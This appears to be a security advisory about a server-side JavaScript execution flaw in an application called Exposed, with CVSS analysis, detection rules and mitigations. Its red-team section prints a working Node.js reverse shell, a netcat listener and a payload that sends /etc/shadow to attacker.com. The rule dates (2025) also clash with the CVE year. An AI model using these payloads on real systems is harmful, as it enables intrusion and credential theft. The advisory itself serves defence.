CVE-2026-9645

Executive Summary

CVE-2026-9645 is a critical vulnerability in the Exposed application, carrying a CVSS score of 9.9. The flaw resides in exposed methods that allow authenticated users to create and execute arbitrary JavaScript code on the server. Because the scripts execute with root privileges, an attacker can achieve complete system compromise, including data exfiltration, lateral movement, and persistent backdoor installation. No public exploit code or patch is currently available, making this a high-priority zero-day for defenders.

Supply Chain & Package Security

This vulnerability is not directly tied to a specific package manager (NPM, PyPI, Go, Ruby). However, if Exposed is distributed as a container image or via a package registry, organizations should audit their supply chain for any instances of the vulnerable version and block downloads until a patch is released.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
• Base Score: 9.9 (Critical)
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: Low (PR:L) – attacker needs valid authentication.
• User Interaction: None (UI:N) – no user action needed.
• Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope.
• Confidentiality, Integrity, Availability Impact: High (C:H/I:H/A:H) – full compromise.

Threat Level: Critical. The combination of low attack complexity, low privileges required, and root-level execution makes this a prime target for ransomware groups and APTs.

Deep Dive & Mechanics

The vulnerability exists in the Exposed application’s method handling. Exposed likely provides a web-based interface or API for managing server-side scripts. The flaw allows authenticated users to inject arbitrary JavaScript code into a method that is then executed server-side (e.g., via Node.js, Rhino, or a similar engine). The code runs with root privileges because the Exposed service is configured to run as root.

Attack Flow:

1. Attacker authenticates to the Exposed web interface or API.
2. Attacker crafts a malicious JavaScript payload (e.g., reverse shell, data exfiltration, or privilege escalation).
3. Attacker submits the payload via a vulnerable endpoint (e.g., /api/execute or a method creation form).
4. The server executes the JavaScript as root, giving the attacker full control.

Root Cause: Lack of input validation and sandboxing for user-supplied JavaScript code. The application does not restrict which methods can be called or what code can be executed.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable pattern.

Vulnerable Code (Conceptual):

// Vulnerable: Directly evaluates user input
app.post('/api/execute', (req, res) => {
    const userCode = req.body.code;
    eval(userCode); // Executes arbitrary JavaScript as root
    res.send('Executed');
});

Patched Code (Hypothetical):

// Patched: Use sandboxed execution and input validation
const vm = require('vm');
app.post('/api/execute', (req, res) => {
    const userCode = req.body.code;
    // Validate input against a whitelist of allowed functions
    if (!isAllowed(userCode)) {
        return res.status(403).send('Forbidden');
    }
    // Run in a sandbox with limited privileges
    const sandbox = { console, setTimeout };
    vm.runInNewContext(userCode, sandbox, { timeout: 1000 });
    res.send('Executed');
});

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy a vulnerable instance of Exposed (version unknown) in a controlled environment.
2. Obtain valid credentials (e.g., admin:admin).

Exploitation Steps:

1. Authenticate to the Exposed web interface.
2. Identify the vulnerable endpoint (e.g., via API documentation or fuzzing).
3. Craft a JavaScript payload to spawn a reverse shell:

   const net = require('net');
   const cp = require('child_process');
   const sh = cp.spawn('/bin/sh', []);
   const client = new net.Socket();
   client.connect(4444, 'attacker_ip', () => {
       client.pipe(sh.stdin);
       sh.stdout.pipe(client);
       sh.stderr.pipe(client);
   });
   

4. Submit the payload via the vulnerable endpoint (e.g., POST to /api/execute with {"code": "<payload>"}).
5. Receive the reverse shell on your listener (nc -lvnp 4444).

Alternative Payload (Data Exfiltration):

const fs = require('fs');
const data = fs.readFileSync('/etc/shadow', 'utf8');
const https = require('https');
https.get(`https://attacker.com/exfil?data=${encodeURIComponent(data)}`);

Blue Team (Defensive)

Detection Steps:

1. Monitor for unusual JavaScript execution on the server (e.g., Node.js processes spawned by the Exposed service).
2. Look for outbound connections from the Exposed server to unknown IPs on high ports (e.g., 4444).
3. Audit logs for POST requests to /api/execute or similar endpoints with large payloads.
4. Implement network segmentation to limit the Exposed server’s outbound access.

Hunting Queries:

• Search for eval( or require( in HTTP request bodies.
• Alert on any process execution from the Exposed service user (root).

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound connections to attacker-controlled IPs on ports 4444, 8080, or 1337.
  • HTTP POST requests to /api/execute with Content-Type: application/json and a code parameter.
• File IOCs:
  • Unexpected files in /tmp/ (e.g., reverse.sh, payload.js).
  • Modified /etc/shadow or /etc/passwd (new root user).
• Process IOCs:
  • Node.js processes spawned by the Exposed service with unusual arguments.
  • Shell processes (/bin/sh, /bin/bash) running as root without a parent terminal.
• Log IOCs:
  • Repeated authentication attempts followed by large POST requests.
  • Error logs containing eval or require statements.

Detection Engineering

YARA Rule

rule CVE_2026_9645_Exposed_JS_Execution {
    meta:
        description = "Detects JavaScript payloads targeting CVE-2026-9645 in Exposed"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-9645"
    strings:
        $eval = "eval("
        $require = "require("
        $net = "net.connect"
        $child = "child_process"
        $spawn = "spawn("
        $exec = "exec("
    condition:
        any of ($eval, $require) and any of ($net, $child, $spawn, $exec)
}

Sigma Rule

title: CVE-2026-9645 - Exposed Arbitrary JavaScript Execution
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP POST requests to Exposed's vulnerable endpoint with JavaScript code
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/execute'
        cs-content-type: 'application/json'
    keywords:
        - 'eval('
        - 'require('
        - 'child_process'
        - 'net.connect'
    condition: selection and keywords
falsepositives:
    - Legitimate administrative use (rare)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-9645 Exposed JS Execution Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/api/execute"; http_uri; content:"eval("; http_client_body; content:"require("; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the Exposed server from the network if possible.
2. Disable the vulnerable endpoint (e.g., block /api/execute via WAF or reverse proxy).
3. Restrict user accounts to read-only access if full removal is not possible.
4. Monitor logs for exploitation attempts (see IOCs and Detection Engineering).

Long-Term Fixes:

• Vendor Patch: Await an official patch from Exposed. Until then, consider migrating to an alternative solution.
• Code Hardening: If you have access to the source code, implement input validation, sandboxing (e.g., vm2 or isolated-vm), and run the service as a non-root user.
• Network Segmentation: Place the Exposed server in a DMZ with strict egress filtering.
• Authentication Hardening: Enforce multi-factor authentication (MFA) for all users.

Workaround:

• Use a reverse proxy (e.g., Nginx) to block requests to /api/execute:

  location /api/execute {
      deny all;
      return 403;
  }
  

Valters IT